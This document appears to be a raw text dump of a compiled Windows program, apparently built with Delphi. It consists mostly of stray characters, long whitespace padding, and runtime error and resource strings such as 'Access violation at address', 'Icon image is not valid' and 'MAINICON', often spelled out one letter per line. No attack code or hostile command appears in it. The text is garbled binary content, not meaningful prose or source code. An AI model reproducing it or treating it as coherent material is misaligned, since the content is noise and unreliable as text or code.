6 6\n6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 7 74787 7 7D7H7L7P7T7O\n3 X v                 1 g l               N0S0 0 0 0 0 0 1 151B1X1 1 1\n1 1 1U2q2x2 3 3 3 3 3 3 3 3 4B4 4 4 5 5 5 6 6e7 728T8 8 9 9  u   x   g\nf   9      P       0 0a1 1 2m2 2 2 2 3 3R3o3 3 3 3 4K4 4 4 4 4 5U5g5 6\n6 6 7 8 8 8 8 8X9h9 9 98 L o\n       2 L l t x               D b                             9 C N   r\n       4   C H M W   a n                           r0 0 0 0 0 0 0 0 0\n       0R1 1 1 2 2 3 3b3z3 3 3 4 4S4 4 4 5 5k5 5 5 5 5 6 6 6B6T6f6 6 6 6\n       7 7 767n7 7 7 8k8T9u9 9 9N o     L     v                 0 5   U\n       p u                 M z               9 H      p      11J1 1 2 2\n       242A2 2l2 2 2 4I4 4 4 4 4 5 5 5 5 6 6 6 6 7W7d7 7 7 7 7 8 8 8h8 8\n       8 8 9 9 9 9 9                9 M o       2 8 I         2   E T   y\n       C V     l v                      0 0 0W0t0 0 0 0 0 0 0 1G1k1 1 1\n       1 1 1 1 1 1 2 2 2Q2e2v2 2 2 2 2 2 2 4 4 4s5 5 5 5 5 5 6K6P6n6 6 6\n       6 6 6 7 7 7 7F7a7 7 7 8 8 8 8 8 8 8 9 929 9o9 9 9 9 9 9 9        b\n H                 B j                  0E0 0l0 0 0 0 0 0 0 1 191S1e1z1\n 1 1 1 1 212Q2 2 2 2 2 2 2 2 3 3F3 3 3 3 3 3 3 4 4 4 4 515T5w5 5 5 5 5 6\n 6r6 6 6 6 6 7 7 7 7 7 7A7u7z7 7 7 7 7 7 7 8 8 828B8R8b8 8 8 8 8 8 9 9o9\n 9 9 9 9 9 9 9      u             N T e j                           B\n Z u                   0 5   G   a f p                     B G\n D                5 6 6 646A6X6f6k6 6 6 6 6 6 6 6 6 7 7 7 7 7O8Z8d8n8x8\n 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 9 9 9 9 9 9 9 9 9 9 9 9094989 9\n 9D9H9L9P9T9X9 9 9d9h9l9p9t9x9 9 9 9 9 9 9 9 9 9 9 9 9 9        X\n n s x                   D d v                     9 I T   c h t\n y               7 R                           0 6   P         A b g w\n 0 0 0 0 0f0m0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1D1 1 1 1 1 1 1 212X2y2\n 2 2 2 2 2 2 2 2 2 3 3 313f3k3p3 3 3 3 3 3 3 3 4 4C4H4M4 4q4v4 4 4 4\n 0 0 0 1L1P1 1d1h1l1p1t1x1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\n 1 1 1 1 1 1 1 1 10282 2H2P2X2 2h2p2x2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2\n 2 2 2           7 7 7 7074787 7 7D7H7L7P7T7X7 7 7d7h7l7p7t7x7 7 7 7 7\n 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 8 8 8 8 8\n 8 8 8 8 8 8 8d8l8t8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 9 9 9 9 9 949\n 9D9L9T9 9d9l9t9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9            4\n 0 4 8     D H L P T X     d h l p t x\n 0 4 8     D H L P T X     d h l p t x                        0 0 0 0\n 0       H\n                                                                                                   X\n                                                                                                   p\n                                                                                                                                                   0\n                                                                                                                                                   P\n   p    b               e  4            g               k               l\n                                                                                                                                                   l\n                                                                                                                                                   o\n                                                                                                                                                   s\n                                                                                                                                                   u\n                                                                                                                                                   u\n                                                                                                                                                   w\n                                                                                                                                                   D\n                                                                                                                                                   V\n                                                                                                                                                   C\n                                                                                                                                                   L\n                                                                                                                                                   A\n                                                                                                                                                   L\n                                                                                                                                                   P\n                                                                                                                                                   A\n                                                                                                                                                   C\n                                                                                                                                                   K\n                                                                                                                                                   A\n                                                                                                                                                   G\n                                                                                                                                                   E\n                                                                                                                                                   I\n                                                                                                                                                   N\n                                                                                                                                                   F\n                                                                                                                                                   O\n                                                                                                                                                   M\n                                                                                                                                                   A\n                                                                                                                                                   I\n                                                                                                                                                   N\n                                                                                                                                                   I\n                                                                                                                                                   C\n                                                                                                                                                   O\n                                                                                                                                                   N\n                                                                                                                                                   wwwwwwwwwwx\n                                                                                                                                                   wwwwwwx\n                                                                                                                                                   w\n                                                                                                                                                   wwwwx\n                                                                                                                                                   wwwx\n                                                                                                                                                   wwx\n                                                                                                                                                   L\n                                                                                                                                                   fo\n                                                                                                                                                   wwx\n                                                                                                                                                   L\n                                                                                                                                                   l\n                                                                                                                                                   o\n                                                                                                                                                   wx\n                                                                                                                                                   Ll\n                                                                                                                                                   wwx\n                                                                                                                                                   dD\n                                                                                                                                                   fl\n                                                                                                                                                   o\n                                                                                                                                                   wwx\n                                                                                                                                                   6Lf\n                                                                                                                                                   wwx\n                                                                                                                                                   lo\n                                                                                                                                                   Lf\n                                                                                                                                                   wx\n                                                                                                                                                   llo\n                                                                                                                                                   wx\n                                                                                                                                                   x\n                                                                                                                                                   lffffff\n                                                                                                                                                   wx\n                                                                                                                                                   fn\n                                                                                                                                                   x\n                                                                                                                                                   ffff\n                                                                                                                                                   wx\n                                                                                                                                                   o\n                                                                                                                                                   F\n                                                                                                                                                   x\n                                                                                                                                                   H\n                                                                                                                                                   f\n                                                                                                                                                   f\n                                                                                                                                                   o\n                                                                                                                                                   wx\n                                                                                                                                                   f\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   x\n                                                                                                                                                   f\n                                                                                                                                                   x\n                                                                                                                                                   no\n                                                                                                                                                   x\n                                                                                                                                                   ffff\n                                                                                                                                                   w\n                                                                                                                                                   fo\n                                                                                                                                                   o\n                                                                                                                                                   x\n                                                                                                                                                   ff\n                                                                                                                                                   w\n                                                                                                                                                   x\n                                                                                                                                                   w\n                                                                                                                                                   x\n                                                                                                                                                   I\n                                                                                                                                                   c\n                                                                                                                                                   o\n                                                                                                                                                   n\n                                                                                                                                                   i\n                                                                                                                                                   m\n                                                                                                                                                   a\n                                                                                                                                                   g\n                                                                                                                                                   e\n                                                                                                                                                   i\n                                                                                                                                                   s\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   t\n                                                                                                                                                   v\n                                                                                                                                                   a\n                                                                                                                                                   l\n                                                                                                                                                   i\n                                                                                                                                                   d\n                                                                                                                                                   C\n                                                                                                                                                   a\n                                                                                                                                                   n\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   t\n                                                                                                                                                   c\n                                                                                                                                                   h\n                                                                                                                                                   a\n                                                                                                                                                   n\n                                                                                                                                                   g\n                                                                                                                                                   e\n                                                                                                                                                   t\n                                                                                                                                                   h\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   i\n                                                                                                                                                   z\n                                                                                                                                                   e\n                                                                                                                                                   o\n                                                                                                                                                   f\n                                                                                                                                                   a\n                                                                                                                                                   n\n                                                                                                                                                   i\n                                                                                                                                                   c\n                                                                                                                                                   o\n                                                                                                                                                   n\n                                                                                                                                                   O\n                                                                                                                                                   u\n                                                                                                                                                   t\n                                                                                                                                                   o\n                                                                                                                                                   f\n                                                                                                                                                   s\n                                                                                                                                                   y\n                                                                                                                                                   s\n                                                                                                                                                   t\n                                                                                                                                                   e\n                                                                                                                                                   m\n                                                                                                                                                   r\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   o\n                                                                                                                                                   u\n                                                                                                                                                   r\n                                                                                                                                                   c\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   C\n                                                                                                                                                   a\n                                                                                                                                                   n\n                                                                                                                                                   v\n                                                                                                                                                   a\n                                                                                                                                                   s\n                                                                                                                                                   d\n                                                                                                                                                   o\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   t\n                                                                                                                                                   a\n                                                                                                                                                   l\n                                                                                                                                                   l\n                                                                                                                                                   o\n                                                                                                                                                   w\n                                                                                                                                                   d\n                                                                                                                                                   r\n                                                                                                                                                   a\n                                                                                                                                                   w\n                                                                                                                                                   i\n                                                                                                                                                   n\n                                                                                                                                                   g\n                                                                                                                                                   C\n                                                                                                                                                   l\n                                                                                                                                                   i\n                                                                                                                                                   p\n                                                                                                                                                   b\n                                                                                                                                                   o\n                                                                                                                                                   a\n                                                                                                                                                   r\n                                                                                                                                                   d\n                                                                                                                                                   d\n                                                                                                                                                   o\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   t\n                                                                                                                                                   s\n                                                                                                                                                   u\n                                                                                                                                                   p\n                                                                                                                                                   p\n                                                                                                                                                   o\n                                                                                                                                                   r\n                                                                                                                                                   t\n                                                                                                                                                   I\n                                                                                                                                                   c\n                                                                                                                                                   o\n                                                                                                                                                   n\n                                                                                                                                                   s\n                                                                                                                                                   I\n                                                                                                                                                   n\n                                                                                                                                                   v\n                                                                                                                                                   a\n                                                                                                                                                   l\n                                                                                                                                                   i\n                                                                                                                                                   d\n                                                                                                                                                   d\n                                                                                                                                                   a\n                                                                                                                                                   t\n                                                                                                                                                   a\n                                                                                                                                                   t\n                                                                                                                                                   y\n                                                                                                                                                   p\n                                                                                                                                                   e\n                                                                                                                                                   f\n                                                                                                                                                   o\n                                                                                                                                                   r\n                                                                                                                                                   s\n                                                                                                                                                   F\n                                                                                                                                                   a\n                                                                                                                                                   i\n                                                                                                                                                   l\n                                                                                                                                                   e\n                                                                                                                                                   d\n                                                                                                                                                   t\n                                                                                                                                                   o\n                                                                                                                                                   s\n                                                                                                                                                   e\n                                                                                                                                                   t\n                                                                                                                                                   d\n                                                                                                                                                   a\n                                                                                                                                                   t\n                                                                                                                                                   a\n                                                                                                                                                   f\n                                                                                                                                                   o\n                                                                                                                                                   r\n                                                                                                                                                   s\n                                                                                                                                                   F\n                                                                                                                                                   a\n                                                                                                                                                   i\n                                                                                                                                                   l\n                                                                                                                                                   e\n                                                                                                                                                   d\n                                                                                                                                                   t\n                                                                                                                                                   o\n                                                                                                                                                   g\n                                                                                                                                                   e\n                                                                                                                                                   t\n                                                                                                                                                   d\n                                                                                                                                                   a\n                                                                                                                                                   t\n                                                                                                                                                   a\n                                                                                                                                                   f\n                                                                                                                                                   o\n                                                                                                                                                   r\n                                                                                                                                                   s\n                                                                                                                                                   L\n                                                                                                                                                   i\n                                                                                                                                                   s\n                                                                                                                                                   t\n                                                                                                                                                   d\n                                                                                                                                                   o\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   t\n                                                                                                                                                   a\n                                                                                                                                                   l\n                                                                                                                                                   l\n                                                                                                                                                   o\n                                                                                                                                                   w\n                                                                                                                                                   d\n                                                                                                                                                   u\n                                                                                                                                                   p\n                                                                                                                                                   l\n                                                                                                                                                   i\n                                                                                                                                                   c\n                                                                                                                                                   a\n                                                                                                                                                   t\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   0\n                                                                                                                                                   x\n                                                                                                                                                   T\n                                                                                                                                                   h\n                                                                                                                                                   u\n                                                                                                                                                   r\n                                                                                                                                                   s\n                                                                                                                                                   d\n                                                                                                                                                   a\n                                                                                                                                                   y\n                                                                                                                                                   F\n                                                                                                                                                   r\n                                                                                                                                                   i\n                                                                                                                                                   d\n                                                                                                                                                   a\n                                                                                                                                                   y\n                                                                                                                                                   S\n                                                                                                                                                   a\n                                                                                                                                                   t\n                                                                                                                                                   u\n                                                                                                                                                   r\n                                                                                                                                                   d\n                                                                                                                                                   a\n                                                                                                                                                   y\n                                                                                                                                                   C\n                                                                                                                                                   a\n                                                                                                                                                   n\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   t\n                                                                                                                                                   a\n                                                                                                                                                   s\n                                                                                                                                                   s\n                                                                                                                                                   i\n                                                                                                                                                   g\n                                                                                                                                                   n\n                                                                                                                                                   a\n                                                                                                                                                   s\n                                                                                                                                                   t\n                                                                                                                                                   o\n                                                                                                                                                   a\n                                                                                                                                                   s\n                                                                                                                                                   C\n                                                                                                                                                   a\n                                                                                                                                                   n\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   t\n                                                                                                                                                   c\n                                                                                                                                                   r\n                                                                                                                                                   e\n                                                                                                                                                   a\n                                                                                                                                                   t\n                                                                                                                                                   e\n                                                                                                                                                   f\n                                                                                                                                                   i\n                                                                                                                                                   l\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   C\n                                                                                                                                                   a\n                                                                                                                                                   n\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   t\n                                                                                                                                                   o\n                                                                                                                                                   p\n                                                                                                                                                   e\n                                                                                                                                                   n\n                                                                                                                                                   f\n                                                                                                                                                   i\n                                                                                                                                                   l\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   S\n                                                                                                                                                   t\n                                                                                                                                                   r\n                                                                                                                                                   e\n                                                                                                                                                   a\n                                                                                                                                                   m\n                                                                                                                                                   r\n                                                                                                                                                   e\n                                                                                                                                                   a\n                                                                                                                                                   d\n                                                                                                                                                   e\n                                                                                                                                                   r\n                                                                                                                                                   r\n                                                                                                                                                   o\n                                                                                                                                                   r\n                                                                                                                                                   S\n                                                                                                                                                   t\n                                                                                                                                                   r\n                                                                                                                                                   e\n                                                                                                                                                   a\n                                                                                                                                                   m\n                                                                                                                                                   w\n                                                                                                                                                   r\n                                                                                                                                                   i\n                                                                                                                                                   t\n                                                                                                                                                   e\n                                                                                                                                                   e\n                                                                                                                                                   r\n                                                                                                                                                   r\n                                                                                                                                                   o\n                                                                                                                                                   r\n                                                                                                                                                   O\n                                                                                                                                                   u\n                                                                                                                                                   t\n                                                                                                                                                   o\n                                                                                                                                                   f\n                                                                                                                                                   m\n                                                                                                                                                   e\n                                                                                                                                                   m\n                                                                                                                                                   o\n                                                                                                                                                   r\n                                                                                                                                                   y\n                                                                                                                                                   w\n                                                                                                                                                   h\n                                                                                                                                                   i\n                                                                                                                                                   l\n                                                                                                                                                   e\n                                                                                                                                                   e\n                                                                                                                                                   x\n                                                                                                                                                   p\n                                                                                                                                                   a\n                                                                                                                                                   n\n                                                                                                                                                   d\n                                                                                                                                                   i\n                                                                                                                                                   n\n                                                                                                                                                   g\n                                                                                                                                                   m\n                                                                                                                                                   e\n                                                                                                                                                   m\n                                                                                                                                                   o\n                                                                                                                                                   r\n                                                                                                                                                   y\n                                                                                                                                                   s\n                                                                                                                                                   t\n                                                                                                                                                   r\n                                                                                                                                                   e\n                                                                                                                                                   a\n                                                                                                                                                   m\n                                                                                                                                                   L\n                                                                                                                                                   i\n                                                                                                                                                   s\n                                                                                                                                                   t\n                                                                                                                                                   i\n                                                                                                                                                   n\n                                                                                                                                                   d\n                                                                                                                                                   e\n                                                                                                                                                   x\n                                                                                                                                                   o\n                                                                                                                                                   u\n                                                                                                                                                   t\n                                                                                                                                                   o\n                                                                                                                                                   f\n                                                                                                                                                   b\n                                                                                                                                                   o\n                                                                                                                                                   u\n                                                                                                                                                   n\n                                                                                                                                                   d\n                                                                                                                                                   s\n                                                                                                                                                   d\n                                                                                                                                                   L\n                                                                                                                                                   i\n                                                                                                                                                   s\n                                                                                                                                                   t\n                                                                                                                                                   c\n                                                                                                                                                   a\n                                                                                                                                                   p\n                                                                                                                                                   a\n                                                                                                                                                   c\n                                                                                                                                                   i\n                                                                                                                                                   t\n                                                                                                                                                   y\n                                                                                                                                                   o\n                                                                                                                                                   u\n                                                                                                                                                   t\n                                                                                                                                                   o\n                                                                                                                                                   f\n                                                                                                                                                   b\n                                                                                                                                                   o\n                                                                                                                                                   u\n                                                                                                                                                   n\n                                                                                                                                                   d\n                                                                                                                                                   s\n                                                                                                                                                   d\n                                                                                                                                                   L\n                                                                                                                                                   i\n                                                                                                                                                   s\n                                                                                                                                                   t\n                                                                                                                                                   c\n                                                                                                                                                   o\n                                                                                                                                                   u\n                                                                                                                                                   n\n                                                                                                                                                   t\n                                                                                                                                                   o\n                                                                                                                                                   u\n                                                                                                                                                   t\n                                                                                                                                                   o\n                                                                                                                                                   f\n                                                                                                                                                   b\n                                                                                                                                                   o\n                                                                                                                                                   u\n                                                                                                                                                   n\n                                                                                                                                                   d\n                                                                                                                                                   s\n                                                                                                                                                   d\n                                                                                                                                                   O\n                                                                                                                                                   p\n                                                                                                                                                   e\n                                                                                                                                                   r\n                                                                                                                                                   a\n                                                                                                                                                   t\n                                                                                                                                                   i\n                                                                                                                                                   o\n                                                                                                                                                   n\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   t\n                                                                                                                                                   a\n                                                                                                                                                   l\n                                                                                                                                                   l\n                                                                                                                                                   o\n                                                                                                                                                   w\n                                                                                                                                                   e\n                                                                                                                                                   d\n                                                                                                                                                   o\n                                                                                                                                                   n\n                                                                                                                                                   s\n                                                                                                                                                   o\n                                                                                                                                                   r\n                                                                                                                                                   t\n                                                                                                                                                   e\n                                                                                                                                                   d\n                                                                                                                                                   s\n                                                                                                                                                   t\n                                                                                                                                                   r\n                                                                                                                                                   i\n                                                                                                                                                   n\n                                                                                                                                                   g\n                                                                                                                                                   l\n                                                                                                                                                   i\n                                                                                                                                                   s\n                                                                                                                                                   t\n                                                                                                                                                   S\n                                                                                                                                                   t\n                                                                                                                                                   r\n                                                                                                                                                   i\n                                                                                                                                                   n\n                                                                                                                                                   g\n                                                                                                                                                   l\n                                                                                                                                                   i\n                                                                                                                                                   s\n                                                                                                                                                   t\n                                                                                                                                                   d\n                                                                                                                                                   o\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   t\n                                                                                                                                                   a\n                                                                                                                                                   l\n                                                                                                                                                   l\n                                                                                                                                                   o\n                                                                                                                                                   w\n                                                                                                                                                   d\n                                                                                                                                                   u\n                                                                                                                                                   p\n                                                                                                                                                   l\n                                                                                                                                                   i\n                                                                                                                                                   c\n                                                                                                                                                   a\n                                                                                                                                                   t\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   I\n                                                                                                                                                   n\n                                                                                                                                                   v\n                                                                                                                                                   a\n                                                                                                                                                   l\n                                                                                                                                                   i\n                                                                                                                                                   d\n                                                                                                                                                   p\n                                                                                                                                                   r\n                                                                                                                                                   o\n                                                                                                                                                   p\n                                                                                                                                                   e\n                                                                                                                                                   r\n                                                                                                                                                   t\n                                                                                                                                                   y\n                                                                                                                                                   v\n                                                                                                                                                   a\n                                                                                                                                                   l\n                                                                                                                                                   u\n                                                                                                                                                   e\n                                                                                                                                                   B\n                                                                                                                                                   i\n                                                                                                                                                   t\n                                                                                                                                                   m\n                                                                                                                                                   a\n                                                                                                                                                   p\n                                                                                                                                                   i\n                                                                                                                                                   m\n                                                                                                                                                   a\n                                                                                                                                                   g\n                                                                                                                                                   e\n                                                                                                                                                   i\n                                                                                                                                                   s\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   t\n                                                                                                                                                   v\n                                                                                                                                                   a\n                                                                                                                                                   l\n                                                                                                                                                   i\n                                                                                                                                                   d\n                                                                                                                                                   A\n                                                                                                                                                   u\n                                                                                                                                                   g\n                                                                                                                                                   u\n                                                                                                                                                   s\n                                                                                                                                                   t\n                                                                                                                                                   S\n                                                                                                                                                   e\n                                                                                                                                                   p\n                                                                                                                                                   t\n                                                                                                                                                   e\n                                                                                                                                                   m\n                                                                                                                                                   b\n                                                                                                                                                   e\n                                                                                                                                                   r\n                                                                                                                                                   O\n                                                                                                                                                   c\n                                                                                                                                                   t\n                                                                                                                                                   o\n                                                                                                                                                   b\n                                                                                                                                                   e\n                                                                                                                                                   r\n                                                                                                                                                   N\n                                                                                                                                                   o\n                                                                                                                                                   v\n                                                                                                                                                   e\n                                                                                                                                                   m\n                                                                                                                                                   b\n                                                                                                                                                   e\n                                                                                                                                                   r\n                                                                                                                                                   D\n                                                                                                                                                   e\n                                                                                                                                                   c\n                                                                                                                                                   e\n                                                                                                                                                   m\n                                                                                                                                                   b\n                                                                                                                                                   e\n                                                                                                                                                   r\n                                                                                                                                                   S\n                                                                                                                                                   u\n                                                                                                                                                   n\n                                                                                                                                                   M\n                                                                                                                                                   o\n                                                                                                                                                   n\n                                                                                                                                                   T\n                                                                                                                                                   u\n                                                                                                                                                   e\n                                                                                                                                                   W\n                                                                                                                                                   e\n                                                                                                                                                   d\n                                                                                                                                                   T\n                                                                                                                                                   h\n                                                                                                                                                   u\n                                                                                                                                                   F\n                                                                                                                                                   r\n                                                                                                                                                   i\n                                                                                                                                                   S\n                                                                                                                                                   a\n                                                                                                                                                   t\n                                                                                                                                                   S\n                                                                                                                                                   u\n                                                                                                                                                   n\n                                                                                                                                                   d\n                                                                                                                                                   a\n                                                                                                                                                   y\n                                                                                                                                                   M\n                                                                                                                                                   o\n                                                                                                                                                   n\n                                                                                                                                                   d\n                                                                                                                                                   a\n                                                                                                                                                   y\n                                                                                                                                                   T\n                                                                                                                                                   u\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   d\n                                                                                                                                                   a\n                                                                                                                                                   y\n                                                                                                                                                   W\n                                                                                                                                                   e\n                                                                                                                                                   d\n                                                                                                                                                   n\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   d\n                                                                                                                                                   a\n                                                                                                                                                   y\n                                                                                                                                                   A\n                                                                                                                                                   p\n                                                                                                                                                   r\n                                                                                                                                                   M\n                                                                                                                                                   a\n                                                                                                                                                   y\n                                                                                                                                                   J\n                                                                                                                                                   u\n                                                                                                                                                   n\n                                                                                                                                                   J\n                                                                                                                                                   u\n                                                                                                                                                   l\n                                                                                                                                                   A\n                                                                                                                                                   u\n                                                                                                                                                   g\n                                                                                                                                                   S\n                                                                                                                                                   e\n                                                                                                                                                   p\n                                                                                                                                                   O\n                                                                                                                                                   c\n                                                                                                                                                   t\n                                                                                                                                                   N\n                                                                                                                                                   o\n                                                                                                                                                   v\n                                                                                                                                                   D\n                                                                                                                                                   e\n                                                                                                                                                   c\n                                                                                                                                                   J\n                                                                                                                                                   a\n                                                                                                                                                   n\n                                                                                                                                                   u\n                                                                                                                                                   a\n                                                                                                                                                   r\n                                                                                                                                                   y\n                                                                                                                                                   F\n                                                                                                                                                   e\n                                                                                                                                                   b\n                                                                                                                                                   r\n                                                                                                                                                   u\n                                                                                                                                                   a\n                                                                                                                                                   r\n                                                                                                                                                   y\n                                                                                                                                                   M\n                                                                                                                                                   a\n                                                                                                                                                   r\n                                                                                                                                                   c\n                                                                                                                                                   h\n                                                                                                                                                   A\n                                                                                                                                                   p\n                                                                                                                                                   r\n                                                                                                                                                   i\n                                                                                                                                                   l\n                                                                                                                                                   M\n                                                                                                                                                   a\n                                                                                                                                                   y\n                                                                                                                                                   J\n                                                                                                                                                   u\n                                                                                                                                                   n\n                                                                                                                                                   e\n                                                                                                                                                   J\n                                                                                                                                                   u\n                                                                                                                                                   l\n                                                                                                                                                   y\n                                                                                                                                                   W\n                                                                                                                                                   r\n                                                                                                                                                   i\n                                                                                                                                                   t\n                                                                                                                                                   e\n                                                                                                                                                   E\n                                                                                                                                                   r\n                                                                                                                                                   r\n                                                                                                                                                   o\n                                                                                                                                                   r\n                                                                                                                                                   c\n                                                                                                                                                   r\n                                                                                                                                                   e\n                                                                                                                                                   a\n                                                                                                                                                   t\n                                                                                                                                                   i\n                                                                                                                                                   n\n                                                                                                                                                   g\n                                                                                                                                                   v\n                                                                                                                                                   a\n                                                                                                                                                   r\n                                                                                                                                                   i\n                                                                                                                                                   a\n                                                                                                                                                   n\n                                                                                                                                                   t\n                                                                                                                                                   a\n                                                                                                                                                   r\n                                                                                                                                                   r\n                                                                                                                                                   a\n                                                                                                                                                   y\n                                                                                                                                                   V\n                                                                                                                                                   a\n                                                                                                                                                   r\n                                                                                                                                                   i\n                                                                                                                                                   a\n                                                                                                                                                   n\n                                                                                                                                                   t\n                                                                                                                                                   i\n                                                                                                                                                   s\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   t\n                                                                                                                                                   a\n                                                                                                                                                   n\n                                                                                                                                                   a\n                                                                                                                                                   r\n                                                                                                                                                   r\n                                                                                                                                                   a\n                                                                                                                                                   y\n                                                                                                                                                   V\n                                                                                                                                                   a\n                                                                                                                                                   r\n                                                                                                                                                   i\n                                                                                                                                                   a\n                                                                                                                                                   n\n                                                                                                                                                   t\n                                                                                                                                                   a\n                                                                                                                                                   r\n                                                                                                                                                   r\n                                                                                                                                                   a\n                                                                                                                                                   y\n                                                                                                                                                   i\n                                                                                                                                                   n\n                                                                                                                                                   d\n                                                                                                                                                   e\n                                                                                                                                                   x\n                                                                                                                                                   o\n                                                                                                                                                   u\n                                                                                                                                                   t\n                                                                                                                                                   o\n                                                                                                                                                   f\n                                                                                                                                                   b\n                                                                                                                                                   o\n                                                                                                                                                   u\n                                                                                                                                                   n\n                                                                                                                                                   d\n                                                                                                                                                   s\n                                                                                                                                                   E\n                                                                                                                                                   x\n                                                                                                                                                   t\n                                                                                                                                                   e\n                                                                                                                                                   r\n                                                                                                                                                   n\n                                                                                                                                                   a\n                                                                                                                                                   l\n                                                                                                                                                   e\n                                                                                                                                                   x\n                                                                                                                                                   c\n                                                                                                                                                   e\n                                                                                                                                                   p\n                                                                                                                                                   t\n                                                                                                                                                   i\n                                                                                                                                                   o\n                                                                                                                                                   n\n                                                                                                                                                   x\n                                                                                                                                                   A\n                                                                                                                                                   s\n                                                                                                                                                   s\n                                                                                                                                                   e\n                                                                                                                                                   r\n                                                                                                                                                   t\n                                                                                                                                                   i\n                                                                                                                                                   o\n                                                                                                                                                   n\n                                                                                                                                                   f\n                                                                                                                                                   a\n                                                                                                                                                   i\n                                                                                                                                                   l\n                                                                                                                                                   e\n                                                                                                                                                   d\n                                                                                                                                                   I\n                                                                                                                                                   n\n                                                                                                                                                   t\n                                                                                                                                                   e\n                                                                                                                                                   r\n                                                                                                                                                   f\n                                                                                                                                                   a\n                                                                                                                                                   c\n                                                                                                                                                   e\n                                                                                                                                                   n\n                                                                                                                                                   o\n                                                                                                                                                   t\n                                                                                                                                                   s\n                                                                                                                                                   u\n                                                                                                                                                   p\n                                                                                                                                                   p\n                                                                                                                                                   o\n                                                                                                                                                   r\n                                                                                                                                                   t\n                                                                                                                                                   e\n                                                                                                                                                   d\n                                                                                                                                                   E\n                                                                                                                                                   x\n                                                                                                                                                   c\n                                                                                                                                                   e\n                                                                                                                                                   p\n                                                                                                                                                   t\n                                                                                                                                                   i\n                                                                                                                                                   o\n                                                                                                                                                   n\n                                                                                                                                                   i\n                                                                                                                                                   n\n                                                                                                                                                   s\n                                                                                                                                                   a\n                                                                                                                                                   f\n                                                                                                                                                   e\n                                                                                                                                                   c\n                                                                                                                                                   a\n                                                                                                                                                   l\n                                                                                                                                                   l\n                                                                                                                                                   m\n                                                                                                                                                   e\n                                                                                                                                                   t\n                                                                                                                                                   h\n                                                                                                                                                   o\n                                                                                                                                                   d\n                                                                                                                                                   s\n                                                                                                                                                   s\n                                                                                                                                                   l\n                                                                                                                                                   i\n                                                                                                                                                   n\n                                                                                                                                                   e\n                                                                                                                                                   d\n                                                                                                                                                   A\n                                                                                                                                                   b\n                                                                                                                                                   s\n                                                                                                                                                   t\n                                                                                                                                                   r\n                                                                                                                                                   a\n                                                                                                                                                   c\n                                                                                                                                                   t\n                                                                                                                                                   E\n                                                                                                                                                   r\n                                                                                                                                                   r\n                                                                                                                                                   o\n                                                                                                                                                   r\n                                                                                                                                                   A\n                                                                                                                                                   c\n                                                                                                                                                   c\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   s\n                                                                                                                                                   v\n                                                                                                                                                   i\n                                                                                                                                                   o\n                                                                                                                                                   l\n                                                                                                                                                   a\n                                                                                                                                                   t\n                                                                                                                                                   i\n                                                                                                                                                   o\n                                                                                                                                                   n\n                                                                                                                                                   a\n                                                                                                                                                   t\n                                                                                                                                                   a\n                                                                                                                                                   d\n                                                                                                                                                   d\n                                                                                                                                                   r\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   s\n                                                                                                                                                   p\n                                                                                                                                                   i\n                                                                                                                                                   n\n                                                                                                                                                   m\n                                                                                                                                                   o\n                                                                                                                                                   d\n                                                                                                                                                   u\n                                                                                                                                                   l\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   s\n                                                                                                                                                   o\n                                                                                                                                                   f\n                                                                                                                                                   a\n                                                                                                                                                   d\n                                                                                                                                                   d\n                                                                                                                                                   r\n                                                                                                                                                   e\n                                                                                                                                                   s\n                                                                                                                                                   s\n                                                                                                                                                   p\n                                                                                                                                                   W\n                                                                                                                                                   i\n                                                                                                                                                   n\n                                                                                                                                                   3\n                                                                                                                                                   2\n                                                                                                                                                   E\n                                                                                                                                                   r\n                                                                                                                                                   r\n                                                                                                                                                   o\n   r       C o d e       d s   A   W i n 3 2   A P I   f u n c t i o n   f\n   a i l e d   J a n   F e b   M a r                                   F\n   l o a t i n g   p o i n t   o v e r f l o w   F l o a t i n g   p o\n   i n t   u n d e r f l o w   I n v a l i d   p o i n t e r   o p e r\n   a t i o n   I n v a l i d   c l a s s   t y p e c a s t 0 A c c e s s\n   v i o l a t i o n   a t   a d d r e s s     p       s   o f   a d d r\n   e s s     p   S t a c k   o v e r f l o w   C o n t r o l   C   h i t\n   P r i 